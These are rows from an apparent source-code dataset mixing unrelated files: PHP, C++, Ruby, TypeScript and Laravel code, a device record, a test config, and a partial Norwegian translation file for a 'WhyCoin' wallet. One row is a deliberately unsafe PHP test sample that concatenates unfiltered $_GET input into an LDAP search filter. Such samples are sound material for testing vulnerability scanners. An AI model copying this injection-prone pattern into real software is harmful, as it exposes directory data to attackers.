code stringlengths 3 1.05M | repo_name stringlengths 4 116 | path stringlengths 4 991 | language stringclasses 9
values | license stringclasses 15
values | size int32 3 1.05M |
|---|---|---|---|---|---|
<?php
/**
* Created by PhpStorm.
* User: Nicolas Canfrère
* Date: 20/10/2014
* Time: 15:15
*/
/*
____________________
__ / ______ \
{ \ ___/___ / } \
{ / / # } |
{/ ô ô ; __} |
/ \__} / \ /\
<=(_ __<==/ | /\___\ | \
(_ _( | | | | | / #
(_ (_ | | | | | |
(__< |mm_|mm_| |mm_|mm_|
*/
namespace ZPB\AdminBundle\Form\type;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolverInterface;
class PostType extends AbstractType
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder
->add('title','text', ['label'=>'Titre de l\'article'])
->add('body','textarea', ['label'=>'Corps'])
->add('excerpt','textarea', ['label'=>'Extrait'])
->add('bandeau', 'hidden')
->add('squarreThumb', 'hidden')
->add('fbThumb', 'hidden')
->add('save', 'submit', ['label'=>'Enregistrer le brouillon'])
->add('publish', 'submit', ['label'=>'Publier'])
;
}
public function setDefaultOptions(OptionsResolverInterface $resolver)
{
$resolver->setDefaults(['data_class'=>'ZPB\AdminBundle\Entity\Post']);
}
public function getName()
{
return 'new_post_form';
}
}
| Grosloup/multisite3 | src/ZPB/AdminBundle/Form/Type/PostType.php | PHP | mit | 1,500 |
<?php
return array (
'id' => 'mediacom_mp82s4_ver1',
'fallback' => 'generic_android_ver4_2',
'capabilities' =>
array (
'is_tablet' => 'true',
'model_name' => 'MP82S4',
'brand_name' => 'Mediacom',
'marketing_name' => 'SmartPad 8.0 S4',
'can_assign_phone_number' => 'false',
'physical_screen_height' => '174',
'physical_screen_width' => '98',
'resolution_width' => '768',
'resolution_height' => '1024',
),
);
| cuckata23/wurfl-data | data/mediacom_mp82s4_ver1.php | PHP | mit | 454 |
#include "labyrinth.h"
#include <algorithm>
Labyrinth::Labyrinth(const int& width, const int& height, const std::vector<std::string>& map)
:_data(width, height), _visited(width, height)
{
for (int i = 0; i < width; ++i) {
for (int j = 0; j < height; ++j) {
_visited.set(i, j, false); //None visited yet
_data.set(i, j, map[i][j]);
if (_data.get(i, j) == 'E') {
_start = Point2U(i, j);
}
}
}
}
bool Labyrinth::isValid(const Point2U& point) const {
return _data.valid(point);
}
bool Labyrinth::isCheese(const Point2U& point) const {
return _data.get(point) == 'Q';
}
bool Labyrinth::isEntrance(const Point2U& point) const {
return _data.get(point) == 'E';
}
bool Labyrinth::isExit(const Point2U& point) const {
return _data.get(point) == 'S';
}
bool Labyrinth::isWall(const Point2U& point) const {
return _data.get(point) == '1';
}
bool Labyrinth::isPath(const Point2U& point) const {
return _data.get(point) == '0';
}
Point2U Labyrinth::getStart() const {
return _start;
}
bool Labyrinth::checkRight(const Point2U &point) const {
auto right = point + Point2U(1, 0);
if (isWall(right)) return false;
return true;
}
bool Labyrinth::checkLeft(const Point2U &point) const {
auto left = point + Point2U(-1, 0);
if (isWall(left)) return false;
return true;
}
bool Labyrinth::checkUp(const Point2U &point) const {
auto up = point + Point2U(0, 1);
if (isWall(up)) return false;
return true;
}
bool Labyrinth::checkDown(const Point2U &point) const {
auto down = point + Point2U(0, -1);
if (isWall(down)) return false;
return true;
}
void Labyrinth::setVisited(const Point2U& point) {
_visited.set(point, true);
}
bool Labyrinth::visited(const Point2U& point) const {
return _visited.get(point);
}
bool Labyrinth::getNeighbor(const Point2U& point, Point2U& neighbor) const {
auto down = point + Point2U(0, -1);
auto up = point + Point2U(0, 1);
auto left = point + Point2U(-1, 0);
auto right = point + Point2U(1, 0);
auto dright = down + Point2U(1, 0);
auto dleft = down + Point2U(-1, 0);
auto uright = up + Point2U(1, 0);
auto uleft = up + Point2U(-1, 0);
std::vector<Point2U> moves = {down, up, left, right, dright, dleft, uright, uleft};
for (auto& move : moves) {
if (isValid(move))
if (!visited(move) && !isWall(move)) {
neighbor = move;
return true;
}
}
return false;
}
| Nixsm/labyrinth | src/labyrinth.cc | C++ | mit | 2,581 |
class PagesController < Comfy::Admin::Cms::PagesController
helper 'page_blocks'
before_action :check_permissions
before_action :check_alternate_available, only: [:edit, :update, :destroy]
before_action :check_can_destroy, only: :destroy
def index
@all_pages = Comfy::Cms::Page.includes(:layout, :site, :categories)
@pages_by_parent = pages_grouped_by_parent
@pages = apply_filters
end
def new
@blocks_attributes = @page.blocks_attributes
end
def create
save_page
flash[:success] = I18n.t('comfy.admin.cms.pages.created')
redirect_to action: :edit, id: @page
rescue ActiveRecord::RecordInvalid
flash.now[:danger] = I18n.t('comfy.admin.cms.pages.creation_failure')
render action: :new
end
def edit
@blocks_attributes = if params[:alternate]
AlternatePageBlocksRetriever.new(@page).blocks_attributes
else
PageBlocksRetriever.new(@page).blocks_attributes
end
end
def update
save_page
flash[:success] = I18n.t('comfy.admin.cms.pages.updated')
if current_user.editor?
RevisionMailer.external_editor_change(user: current_user, page: @page).deliver_now
end
if updating_alternate_content?
redirect_to action: :edit, id: @page, alternate: true
else
redirect_to action: :edit, id: @page
end
rescue ActiveRecord::RecordInvalid
flash.now[:danger] = I18n.t('comfy.admin.cms.pages.update_failure')
render action: :edit
end
def destroy
if params[:alternate].nil?
@page.destroy
flash[:success] = "Draft #{@page.layout.label.downcase} deleted"
else
AlternatePageBlocksRemover.new(@page, remover: current_user).remove!
flash[:success] = "Draft update for #{@page.layout.label.downcase} removed"
end
redirect_to :action => :index
end
protected
def presenter
@presenter ||= PagePresenter.new(@page)
end
helper_method :presenter
def save_page
# First change state if needed. We do a non saving event so we can access
# the dirty logging in the content registers.
@page.update_state(params[:state_event]) if params[:state_event]
blocks_attributes = params[:blocks_attributes]
# We need to look at the current state of the page to know if we're updating
# current or alternate content. This may have changed due to the state event.
if updating_alternate_content?
AlternatePageBlocksRegister.new(
@page,
author: current_user,
new_blocks_attributes: blocks_attributes
).save!
else
PageBlocksRegister.new(
@page,
author: current_user,
new_blocks_attributes: blocks_attributes
).save!
end
# Now save any changes to the page on attributes other than content (assignment has been
# performed in a filter, defined in the comfy gem). We do this after updating the content
# as that has logic dependent on the schedule time, which should only be changed afterwards.
@page.save!
@page.mirror_categories!
@page.mirror_suppress_from_links_recirculation!
end
def apply_filters
@pages = @all_pages.filter(params.slice(:category, :layout, :last_edit, :status, :language))
if params[:search].present?
Comfy::Cms::Search.new(@pages, params[:search]).results
else
@last_published_pages = @all_pages.published.reorder(updated_at: :desc).limit(4)
@last_draft_pages = @all_pages.draft.reorder(updated_at: :desc).limit(4)
@pages.reorder(updated_at: :desc).page(params[:page])
end
end
def check_permissions
if PermissionCheck.new(current_user, @page, action_name, params[:state_event]).fail?
flash[:danger] = 'Insufficient permissions to change'
redirect_to comfy_admin_cms_site_pages_path(params[:site_id])
end
end
def check_alternate_available
if params[:alternate] && !AlternatePageBlocksRetriever.new(@page).blocks_attributes.present?
flash[:danger] = 'Alternate content is not currently available for this page'
redirect_to action: :edit, id: @page
end
end
def check_can_destroy
unless @page.draft? || @page.published_being_edited? || (@page.scheduled? && @page.active_revision.present? && @page.scheduled_on > Time.current)
flash[:danger] = 'You cannot delete a page in this state'
redirect_to action: :edit, id: @page
end
end
def updating_alternate_content?
if @page.published_being_edited?
params[:alternate].present? || params[:state_event] == 'create_new_draft'
elsif @page.scheduled?
@page.active_revision.present? && (params[:alternate].present? || params[:state_event] == 'scheduled')
else
false
end
end
end
| moneyadviceservice/cms | app/controllers/pages_controller.rb | Ruby | mit | 4,770 |
<?php
/*
Unsafe sample
input : get the $_GET['userData'] in an array
sanitize : regular expression accepts everything
construction : concatenation with simple quote
*/
/*Copyright 2015 Bertrand STIVALET
Permission is hereby granted, without written agreement or royalty fee, to
use, copy, modify, and distribute this software and its documentation for
any purpose, provided that the above copyright notice and the following
three paragraphs appear in all copies of this software.
IN NO EVENT SHALL AUTHORS BE LIABLE TO ANY PARTY FOR DIRECT,
INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF AUTHORS HAVE
BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
AUTHORS SPECIFICALLY DISCLAIM ANY WARRANTIES INCLUDING, BUT NOT
LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE, AND NON-INFRINGEMENT.
THE SOFTWARE IS PROVIDED ON AN "AS-IS" BASIS AND AUTHORS HAVE NO
OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
MODIFICATIONS.*/
$array = array();
$array[] = 'safe' ;
$array[] = $_GET['userData'] ;
$array[] = 'safe' ;
$tainted = $array[1] ;
$re = "/^.*$/";
if(preg_match($re, $tainted) == 1){
$tainted = $tainted;
}
else{
$tainted = "";
}
$query = "(&(objectCategory=person)(objectClass=user)(cn='". $tainted . "'))";
//flaw
$ds=ldap_connect("localhost");
$r=ldap_bind($ds);
$sr=ldap_search($ds,"o=My Company, c=US", $query);
ldap_close($ds);
?> | stivalet/PHP-Vulnerability-test-suite | Injection/CWE_90/unsafe/CWE_90__array-GET__func_preg_match-no_filtering__userByCN-concatenation_simple_quote.php | PHP | mit | 1,507 |
//usage
class MyActivity extends Activity {
@Bind(R.id.text)
TextView someText;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ButterKnife.bind(this);
}
}
//implementation:
//https://github.com/JakeWharton/butterknife
//tons of code | kotlin-cloud/kotlin-is-not-like-java | code/butterknife.java | Java | mit | 316 |
import { createReducer } from "redux-create-reducer";
import * as clone from "lodash/cloneDeep";
import {
INITIALIZE,
SWITCH,
} from "./actions";
import { IContainerModule } from "../types";
import { ITabState } from "./";
const initialState = {};
export default createReducer(initialState, {
[INITIALIZE](state: IContainerModule<ITabState>, action) {
const { id, currentTab } = action.payload;
if (!id || state[id]) {
return state;
}
const clonedState = clone(state);
clonedState[id] = {
currentTab,
};
return clonedState;
},
[SWITCH](state: IContainerModule<ITabState>, action) {
const { id, tabId } = action.payload;
if (!id || !state[id]) {
return state;
}
const clonedState = clone(state);
clonedState[id] = {
currentTab: tabId,
};
return clonedState;
},
});
| kencckw/redux-hoc | src/tab/reducer.ts | TypeScript | mit | 950 |
module.exports = {
framework: 'qunit',
test_page: 'tests/index.html?hidepassed',
disable_watching: true,
launch_in_ci: [
'Chrome'
],
launch_in_dev: [
'Chrome'
],
browser_args: {
Chrome: {
mode: 'ci',
args: [
// --no-sandbox is needed when running Chrome inside a container
process.env.TRAVIS ? '--no-sandbox' : null,
'--disable-gpu',
'--headless',
'--no-sandbox',
'--remote-debugging-port=9222',
'--window-size=1440,900'
].filter(Boolean)
}
}
};
| Flexberry/ember-flexberry-designer | testem.js | JavaScript | mit | 555 |
<?php
class UserController extends BaseController {
public function register() {
if (Auth::check()){
return Redirect::to('/');
}
$colleges = College::all();
$areas = Area::all();
return View::make('user.register')
->with('colleges', $colleges)
->with('areas', $areas);
}
public function doRegister() {
if (Auth::check()){
return Redirect::to('/');
}
$rules = [
'name'=>'required|min:3',
'username'=>'required|unique:users',
'password'=>'required|min:4',
'email'=>'required|email|unique:users',
'bio'=>'required|min:10',
'ocupation'=>'required|in:stu,uni,pro'
];
$validator = Validator::make(Input::all(), $rules);
if ($validator->fails()) {
return Redirect::to('register')
->withErrors($validator);
}
$user = new User(Input::all());
$user->password = Hash::make(Input::get('password'));
$user->picture_url = "default.png";
if($user->ocupation === 'uni' || $user->ocupation === 'pro') {
$user->college = College::find(Input::get('college'))->name;
$user->career = Area::find(Input::get('career'))->name;
}
$user->save();
$user->communities()->sync([2], false); // associate directly to UMSA INFO
$community = Community::find(2);
$community->members = $community->members + 1;
$community->save();
return Redirect::to('login');
}
public function profile($id=null) {
if ($id) {
$user = User::findOrFail($id);
} else {
$user = Auth::user();
}
$questions = $user->questions()->get();
$answers = $user->answers()->with('question')->get();
return View::make('user.profile')
->with('model', $user)
->with('questions', $questions)
->with('answers', $answers);
}
}
| Tuxers/yosise | app/controllers/UserController.php | PHP | mit | 2,053 |
<?xml version="1.0" ?><!DOCTYPE TS><TS language="nb" version="2.1">
<context>
<name>AboutDialog</name>
<message>
<location filename="../forms/aboutdialog.ui" line="+14"/>
<source>About WhyCoin</source>
<translation>Om WhyCoin</translation>
</message>
<message>
<location line="+39"/>
<source><b>WhyCoin</b></source>
<translation><b>WhyCoin</b> versjon</translation>
</message>
<message>
<location line="+41"/>
<source>Copyright © 2014-2016 WhyCoin Developers</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>
This is experimental software.
Distributed under the MIT/X11 software license, see the accompanying file COPYING or http://www.opensource.org/licenses/mit-license.php.
This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (https://www.openssl.org/), cryptographic software written by Eric Young (eay@cryptsoft.com), and UPnP software written by Thomas Bernard.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>AddressBookPage</name>
<message>
<location filename="../forms/addressbookpage.ui" line="+14"/>
<source>Address Book</source>
<translation>Adressebok</translation>
</message>
<message>
<location line="+22"/>
<source>Double-click to edit address or label</source>
<translation>Dobbeltklikk for å redigere adresse eller merkelapp</translation>
</message>
<message>
<location line="+24"/>
<source>Create a new address</source>
<translation>Lag en ny adresse</translation>
</message>
<message>
<location line="+10"/>
<source>Copy the currently selected address to the system clipboard</source>
<translation>Kopier den valgte adressen til systemets utklippstavle</translation>
</message>
<message>
<location line="-7"/>
<source>&New Address</source>
<translation>&Ny Adresse</translation>
</message>
<message>
<location line="-43"/>
<source>These are your WhyCoin addresses for receiving payments. You may want to give a different one to each sender so you can keep track of who is paying you.</source>
<translation>Dette er adressene for å motta betalinger. Du ønsker kanskje å gi ulike adresser til hver avsender så du lettere kan holde øye med hvem som betaler deg.</translation>
</message>
<message>
<location line="+53"/>
<source>&Copy Address</source>
<translation>&Kopier Adresse</translation>
</message>
<message>
<location line="+7"/>
<source>Show &QR Code</source>
<translation>Vis &QR Kode</translation>
</message>
<message>
<location line="+7"/>
<source>Sign a message to prove you own a WhyCoin address</source>
<translation>Signer en melding for å bevise din egen WhyCoin adresse.</translation>
</message>
<message>
<location line="+3"/>
<source>Sign &Message</source>
<translation>Signer &Melding</translation>
</message>
<message>
<location line="+17"/>
<source>Delete the currently selected address from the list</source>
<translation>Slett den valgte adressen fra listen.</translation>
</message>
<message>
<location line="-10"/>
<source>Verify a message to ensure it was signed with a specified WhyCoin address</source>
<translation>Verifiser en melding får å forsikre deg om at den er signert med en spesifikk WhyCoin adresse</translation>
</message>
<message>
<location line="+3"/>
<source>&Verify Message</source>
<translation>&Verifiser en melding</translation>
</message>
<message>
<location line="+10"/>
<source>&Delete</source>
<translation>&Slett</translation>
</message>
<message>
<location filename="../addressbookpage.cpp" line="+65"/>
<source>Copy &Label</source>
<translation>Kopier &Merkelapp</translation>
</message>
<message>
<location line="+2"/>
<source>&Edit</source>
<translation>&Rediger</translation>
</message>
<message>
<location line="+250"/>
<source>Export Address Book Data</source>
<translation>Eksporter Adressebok</translation>
</message>
<message>
<location line="+1"/>
<source>Comma separated file (*.csv)</source>
<translation>Kommaseparert fil (*.csv)</translation>
</message>
<message>
<location line="+13"/>
<source>Error exporting</source>
<translation>Feil under eksportering</translation>
</message>
<message>
<location line="+0"/>
<source>Could not write to file %1.</source>
<translation>Kunne ikke skrive til filen %1</translation>
</message>
</context>
<context>
<name>AddressTableModel</name>
<message>
<location filename="../addresstablemodel.cpp" line="+145"/>
<source>Label</source>
<translation>Merkelapp</translation>
</message>
<message>
<location line="+0"/>
<source>Address</source>
<translation>Adresse</translation>
</message>
<message>
<location line="+36"/>
<source>(no label)</source>
<translation>(ingen merkelapp)</translation>
</message>
</context>
<context>
<name>AskPassphraseDialog</name>
<message>
<location filename="../forms/askpassphrasedialog.ui" line="+26"/>
<source>Passphrase Dialog</source>
<translation>Dialog for Adgangsfrase</translation>
</message>
<message>
<location line="+21"/>
<source>Enter passphrase</source>
<translation>Angi adgangsfrase</translation>
</message>
<message>
<location line="+14"/>
<source>New passphrase</source>
<translation>Ny adgangsfrase</translation>
</message>
<message>
<location line="+14"/>
<source>Repeat new passphrase</source>
<translation>Gjenta ny adgangsfrase</translation>
</message>
<message>
<location line="+33"/>
<source>Serves to disable the trivial sendmoney when OS account compromised. Provides no real security.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>For staking only</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../askpassphrasedialog.cpp" line="+38"/>
<source>Encrypt wallet</source>
<translation>Krypter lommebok</translation>
</message>
<message>
<location line="+7"/>
<source>This operation needs your wallet passphrase to unlock the wallet.</source>
<translation>Denne operasjonen krever adgangsfrasen til lommeboken for å låse den opp.</translation>
</message>
<message>
<location line="+5"/>
<source>Unlock wallet</source>
<translation>Lås opp lommebok</translation>
</message>
<message>
<location line="+3"/>
<source>This operation needs your wallet passphrase to decrypt the wallet.</source>
<translation>Denne operasjonen krever adgangsfrasen til lommeboken for å dekryptere den.</translation>
</message>
<message>
<location line="+5"/>
<source>Decrypt wallet</source>
<translation>Dekrypter lommebok</translation>
</message>
<message>
<location line="+3"/>
<source>Change passphrase</source>
<translation>Endre adgangsfrase</translation>
</message>
<message>
<location line="+1"/>
<source>Enter the old and new passphrase to the wallet.</source>
<translation>Skriv inn gammel og ny adgangsfrase for lommeboken.</translation>
</message>
<message>
<location line="+45"/>
<source>Confirm wallet encryption</source>
<translation>Bekreft kryptering av lommebok</translation>
</message>
<message>
<location line="+1"/>
<source>Warning: If you encrypt your wallet and lose your passphrase, you will <b>LOSE ALL OF YOUR COINS</b>!</source>
<translation>Advarsel: Viss du krypterer lommeboken og mister passordet vil du <b>MISTE ALLE MYNTENE DINE</b>!</translation>
</message>
<message>
<location line="+0"/>
<source>Are you sure you wish to encrypt your wallet?</source>
<translation>Er du sikker på at du vil kryptere lommeboken?</translation>
</message>
<message>
<location line="+15"/>
<source>IMPORTANT: Any previous backups you have made of your wallet file should be replaced with the newly generated, encrypted wallet file. For security reasons, previous backups of the unencrypted wallet file will become useless as soon as you start using the new, encrypted wallet.</source>
<translation>VIKTIG: Tidligere sikkerhetskopier av din lommebok-fil, bør erstattes med den nylig genererte, krypterte filen, da de blir ugyldiggjort av sikkerhetshensyn så snart du begynner å bruke den nye krypterte lommeboken.</translation>
</message>
<message>
<location line="+103"/>
<location line="+24"/>
<source>Warning: The Caps Lock key is on!</source>
<translation>Advarsel: Caps Lock er på !</translation>
</message>
<message>
<location line="-133"/>
<location line="+60"/>
<source>Wallet encrypted</source>
<translation>Lommebok kryptert</translation>
</message>
<message>
<location line="-140"/>
<source>Enter the new passphrase to the wallet.<br/>Please use a passphrase of <b>ten or more random characters</b>, or <b>eight or more words</b>.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+82"/>
<source>WhyCoin will close now to finish the encryption process. Remember that encrypting your wallet cannot fully protect your coins from being stolen by malware infecting your computer.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<location line="+7"/>
<location line="+44"/>
<location line="+6"/>
<source>Wallet encryption failed</source>
<translation>Kryptering av lommebok feilet</translation>
</message>
<message>
<location line="-56"/>
<source>Wallet encryption failed due to an internal error. Your wallet was not encrypted.</source>
<translation>Kryptering av lommebok feilet på grunn av en intern feil. Din lommebok ble ikke kryptert.</translation>
</message>
<message>
<location line="+7"/>
<location line="+50"/>
<source>The supplied passphrases do not match.</source>
<translation>De angitte adgangsfrasene er ulike.</translation>
</message>
<message>
<location line="-38"/>
<source>Wallet unlock failed</source>
<translation>Opplåsing av lommebok feilet</translation>
</message>
<message>
<location line="+1"/>
<location line="+12"/>
<location line="+19"/>
<source>The passphrase entered for the wallet decryption was incorrect.</source>
<translation>Adgangsfrasen angitt for dekryptering av lommeboken var feil.</translation>
</message>
<message>
<location line="-20"/>
<source>Wallet decryption failed</source>
<translation>Dekryptering av lommebok feilet</translation>
</message>
<message>
<location line="+14"/>
<source>Wallet passphrase was successfully changed.</source>
<translation>Adgangsfrase for lommebok endret.</translation>
</message>
</context>
<context>
<name>BitcoinGUI</name>
<message>
<location filename="../bitcoingui.cpp" line="+297"/>
<source>Sign &message...</source>
<translation>Signer &melding...</translation>
</message>
<message>
<location line="-64"/>
<source>Show general overview of wallet</source>
<translation>Vis generell oversikt over lommeboken</translation>
</message>
<message>
<location line="+17"/>
<source>&Transactions</source>
<translation>&Transaksjoner</translation>
</message>
<message>
<location line="+1"/>
<source>Browse transaction history</source>
<translation>Vis transaksjonshistorikk</translation>
</message>
<message>
<location line="+5"/>
<source>&Address Book</source>
<translation>&Adressebok</translation>
</message>
<message>
<location line="+1"/>
<source>Edit the list of stored addresses and labels</source>
<translation>Endre listen med lagrede adresser og merkelapper</translation>
</message>
<message>
<location line="-18"/>
<source>Show the list of addresses for receiving payments</source>
<translation>Vis listen med adresser for å motta betalinger</translation>
</message>
<message>
<location line="+34"/>
<source>E&xit</source>
<translation>&Avslutt</translation>
</message>
<message>
<location line="+1"/>
<source>Quit application</source>
<translation>Avslutt applikasjonen</translation>
</message>
<message>
<location line="+4"/>
<source>Show information about WhyCoin</source>
<translation>Vis info om WhyCoin</translation>
</message>
<message>
<location line="+2"/>
<source>About &Qt</source>
<translation>Om &Qt</translation>
</message>
<message>
<location line="+1"/>
<source>Show information about Qt</source>
<translation>Vis informasjon om Qt</translation>
</message>
<message>
<location line="+2"/>
<source>&Options...</source>
<translation>&Innstillinger...</translation>
</message>
<message>
<location line="+4"/>
<source>&Encrypt Wallet...</source>
<translation>&Krypter Lommebok...</translation>
</message>
<message>
<location line="+2"/>
<source>&Backup Wallet...</source>
<translation>Lag &Sikkerhetskopi av Lommebok...</translation>
</message>
<message>
<location line="+2"/>
<source>&Change Passphrase...</source>
<translation>&Endre Adgangsfrase...</translation>
</message>
<message>
<location line="+9"/>
<source>&Export...</source>
<translation>&Eksporter...</translation>
</message>
<message>
<location line="-55"/>
<source>Send coins to a WhyCoin address</source>
<translation>Send coins til en WhyCoin adresse</translation>
</message>
<message>
<location line="+39"/>
<source>Modify configuration options for WhyCoin</source>
<translation>Endre innstillingene til WhyCoin</translation>
</message>
<message>
<location line="+17"/>
<source>Export the data in the current tab to a file</source>
<translation>Eksporter dataene i nåværende fane til en fil</translation>
</message>
<message>
<location line="-13"/>
<source>Encrypt or decrypt wallet</source>
<translation>Krypter eller dekrypter lommeboken</translation>
</message>
<message>
<location line="+2"/>
<source>Backup wallet to another location</source>
<translation>Sikkerhetskopiér lommebok til annet sted</translation>
</message>
<message>
<location line="+2"/>
<source>Change the passphrase used for wallet encryption</source>
<translation>Endre adgangsfrasen brukt for kryptering av lommebok</translation>
</message>
<message>
<location line="+10"/>
<source>&Debug window</source>
<translation>&Feilsøkingsvindu</translation>
</message>
<message>
<location line="+1"/>
<source>Open debugging and diagnostic console</source>
<translation>Åpne konsoll for feilsøk og diagnostikk</translation>
</message>
<message>
<location line="-5"/>
<source>&Verify message...</source>
<translation>&Verifiser melding...</translation>
</message>
<message>
<location line="-214"/>
<location line="+555"/>
<source>WhyCoin</source>
<translation>WhyCoin</translation>
</message>
<message>
<location line="-555"/>
<source>Wallet</source>
<translation>Lommebok</translation>
</message>
<message>
<location line="+193"/>
<source>&About WhyCoin</source>
<translation>&Om WhyCoin</translation>
</message>
<message>
<location line="+9"/>
<source>&Show / Hide</source>
<translation>&Gjem / vis</translation>
</message>
<message>
<location line="+8"/>
<source>Unlock wallet</source>
<translation>Lås opp lommebok</translation>
</message>
<message>
<location line="+1"/>
<source>&Lock Wallet</source>
<translation>&Lås Lommeboken</translation>
</message>
<message>
<location line="+1"/>
<source>Lock wallet</source>
<translation>Lås lommeboken</translation>
</message>
<message>
<location line="+32"/>
<source>&File</source>
<translation>&Fil</translation>
</message>
<message>
<location line="+8"/>
<source>&Settings</source>
<translation>&Innstillinger</translation>
</message>
<message>
<location line="+8"/>
<source>&Help</source>
<translation>&Hjelp</translation>
</message>
<message>
<location line="+17"/>
<source>Tabs toolbar</source>
<translation>Verktøylinje for faner</translation>
</message>
<message>
<location line="+46"/>
<location line="+9"/>
<source>[testnet]</source>
<translation>[testnett]</translation>
</message>
<message>
<location line="+0"/>
<location line="+58"/>
<source>WhyCoin client</source>
<translation>WhyCoin klient</translation>
</message>
<message numerus="yes">
<location line="+70"/>
<source>%n active connection(s) to WhyCoin network</source>
<translation><numerusform>%n aktiv tilkobling til WhyCoin nettverket</numerusform><numerusform>%n aktive tilkoblinger til WhyCoin nettverket</numerusform></translation>
</message>
<message>
<location line="+488"/>
<source>Staking.<br>Your weight is %1<br>Network weight is %2<br>Expected time to earn reward is %3</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Not staking because wallet is locked</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Not staking because wallet is offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Not staking because wallet is syncing</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Not staking because you don't have mature coins</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-812"/>
<source>&Dashboard</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>&Receive</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>&Send</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+49"/>
<source>&Unlock Wallet...</source>
<translation>&Lås opp lommeboken</translation>
</message>
<message>
<location line="+277"/>
<source>Up to date</source>
<translation>Ajour</translation>
</message>
<message>
<location line="+43"/>
<source>Catching up...</source>
<translation>Kommer ajour...</translation>
</message>
<message>
<location line="+113"/>
<source>Confirm transaction fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+27"/>
<source>Sent transaction</source>
<translation>Sendt transaksjon</translation>
</message>
<message>
<location line="+1"/>
<source>Incoming transaction</source>
<translation>Innkommende transaksjon</translation>
</message>
<message>
<location line="+1"/>
<source>Date: %1
Amount: %2
Type: %3
Address: %4
</source>
<translation>Dato: %1
Beløp: %2
Type: %3
Adresse: %4
</translation>
</message>
<message>
<location line="+100"/>
<location line="+15"/>
<source>URI handling</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-15"/>
<location line="+15"/>
<source>URI can not be parsed! This can be caused by an invalid WhyCoin address or malformed URI parameters.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+9"/>
<source>Wallet is <b>not encrypted</b></source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Wallet is <b>encrypted</b> and currently <b>unlocked</b></source>
<translation>Lommeboken er <b>kryptert</b> og for tiden <b>ulåst</b></translation>
</message>
<message>
<location line="+8"/>
<source>Wallet is <b>encrypted</b> and currently <b>locked</b></source>
<translation>Lommeboken er <b>kryptert</b> og for tiden <b>låst</b></translation>
</message>
<message>
<location line="+24"/>
<source>Backup Wallet</source>
<translation>Sikkerhetskopier Lommeboken</translation>
</message>
<message>
<location line="+0"/>
<source>Wallet Data (*.dat)</source>
<translation>Lommebokdata (*.dat)</translation>
</message>
<message>
<location line="+3"/>
<source>Backup Failed</source>
<translation>Sikkerhetskopiering feilet</translation>
</message>
<message>
<location line="+0"/>
<source>There was an error trying to save the wallet data to the new location.</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+91"/>
<source>%n second(s)</source>
<translation><numerusform>%n sekund</numerusform><numerusform>%n sekunder</numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n minute(s)</source>
<translation><numerusform>%n minutt</numerusform><numerusform>%n minutter</numerusform></translation>
</message>
<message numerus="yes">
<location line="-429"/>
<location line="+433"/>
<source>%n hour(s)</source>
<translation><numerusform>%n time</numerusform><numerusform>%n timer</numerusform></translation>
</message>
<message>
<location line="-456"/>
<source>Processed %1 blocks of transaction history.</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+27"/>
<location line="+433"/>
<source>%n day(s)</source>
<translation><numerusform>%n dag</numerusform><numerusform>%n dager</numerusform></translation>
</message>
<message numerus="yes">
<location line="-429"/>
<location line="+6"/>
<source>%n week(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+0"/>
<source>%1 and %2</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+0"/>
<source>%n year(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+5"/>
<source>%1 behind</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Last received block was generated %1 ago.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Transactions after this will not yet be visible.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Error</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Warning</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Information</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+69"/>
<source>This transaction is over the size limit. You can still send it for a fee of %1, which goes to the nodes that process your transaction and helps to support the network. Do you want to pay the fee?</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+324"/>
<source>Not staking</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../bitcoin.cpp" line="+104"/>
<source>A fatal error occurred. WhyCoin can no longer continue safely and will quit.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>ClientModel</name>
<message>
<location filename="../clientmodel.cpp" line="+110"/>
<source>Network Alert</source>
<translation>Nettverksvarsel</translation>
</message>
</context>
<context>
<name>CoinControlDialog</name>
<message>
